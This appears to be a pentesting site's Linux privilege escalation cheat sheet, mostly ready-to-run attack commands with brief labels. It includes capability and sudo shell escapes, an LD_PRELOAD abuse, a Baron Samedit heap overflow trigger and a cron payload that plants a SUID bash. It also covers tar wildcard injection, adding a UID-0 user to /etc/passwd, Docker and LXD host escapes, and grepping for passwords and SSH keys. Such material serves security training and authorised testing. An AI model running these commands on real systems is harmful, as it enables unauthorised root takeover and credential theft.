privesc

Linux Privilege Escalation

Manual Linux privilege escalation — enumeration, SUID/SGID/capabilities, sudo abuse (GTFOBins/LD_PRELOAD/Baron Samedit), cron/PATH/wildcard, kernel exploits (PwnKit/DirtyPipe/nf_tables), credential hunting and NFS/Docker/LXD group abuse.

31 views Jul 2026 lazyhackers

Enumeration (5)

id; sudo -l; uname -a; cat /etc/os-release

First four checks: who am I, what can I sudo, kernel + distro

enum baseline

ps aux --forest; ss -tulpn

Running processes + listening ports (internal services)

enum process

cat /etc/crontab; ls -la /etc/cron.*

Scheduled jobs that may run as root

enum cron

./pspy64

Watch processes/cron in real time without root

enum pspy

find / -writable -type d 2>/dev/null

Writable directories (drop payloads / hijack)

enum writable

SUID / SGID / Capabilities (5)

find / -perm -4000 -type f 2>/dev/null

Find SUID binaries (run as the file owner)

suid gtfobins

find / -perm -2000 -type f 2>/dev/null

Find SGID binaries

sgid

getcap -r / 2>/dev/null

List file capabilities (cap_setuid is gold)

capabilities

python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

Abuse a binary with cap_setuid+ep

capabilities rce

check the binary on GTFOBins (e.g. find/awk/vim/less)

Look up the exact SUID/sudo escape

gtfobins

Sudo Abuse (5)

sudo -l

List what the current user may run as root

sudo enum

sudo find . -exec /bin/sh \; -quit

GTFOBins-style sudo escape via find

sudo gtfobins

sudo vim -c ':!/bin/sh'

Shell out of a sudo-allowed editor

sudo gtfobins

sudo LD_PRELOAD=/tmp/x.so anycmd

Abuse env_keep+=LD_PRELOAD with a malicious .so

sudo ldpreload

sudoedit -s '\' $(python3 -c 'print("A"*1000)')

Baron Samedit (CVE-2021-3156) heap overflow

sudo cve-2021-3156

Cron / PATH / Wildcard (4)

writable script referenced by root cron -> append a reverse shell

Hijack a root-run cron script

cron hijack

PATH-relative binary in a root script -> drop a fake binary earlier in PATH

PATH hijacking

path hijack

tar -cf backup.tar * (in a writable dir) + --checkpoint files

Wildcard injection: tar --checkpoint-action=exec

wildcard cron

echo 'cp /bin/bash /tmp/b; chmod +s /tmp/b' > shell.sh

Payload for a writable root cron job

cron suid

Kernel & Known Exploits (4)

uname -r; searchsploit linux kernel <ver>

Match the kernel version to a public exploit

kernel searchsploit

PwnKit — pkexec CVE-2021-4034

Local root on almost any Polkit system (2021)

cve-2021-4034 pkexec

DirtyPipe — CVE-2022-0847

Overwrite read-only files (5.8–5.16 kernels)

cve-2022-0847 dirtypipe

nf_tables — CVE-2024-1086

Recent universal LPE (netfilter)

cve-2024-1086 kernel

Credentials & Files (4)

grep -rniE 'password|secret|api[_-]?key' /var/www /home /etc 2>/dev/null

Hunt creds in config/source

creds grep

ls -la ~/.ssh; cat ~/.bash_history

SSH keys + shell history often leak access

creds ssh

openssl passwd -1 'pass' -> append root:HASH:0:0 to /etc/passwd

If /etc/passwd is writable, add a UID-0 user

creds passwd

find / -name 'id_rsa' -o -name '*.kdbx' 2>/dev/null

Locate private keys / KeePass DBs

creds keys

NFS / Docker / Group Abuse (4)

showmount -e 10.10.10.1; mount with no_root_squash + drop a SUID binary

NFS no_root_squash → root file write

nfs root

id | grep docker -> docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Docker group = root (mount host /)

docker group

id | grep lxd -> import alpine image, mount / into a privileged container

LXD group privesc

lxd group

cat /.dockerenv; capsh --print

Detect a container + check capabilities for escape

container escape

Linux Privilege Escalation

Related Articles

Linux Privilege Escalation

Windows Privilege Escalation

Escaping a chroot Jail

AppArmor & SELinux Explained

Escaping a Restricted Shell

Related Courses

Web Application Penetration Testing

Network Penetration Testing

Bug Bounty Hunting — From Recon to Bounty

Windows Privilege Escalation — Complete Course

Networking Fundamentals for Pentesters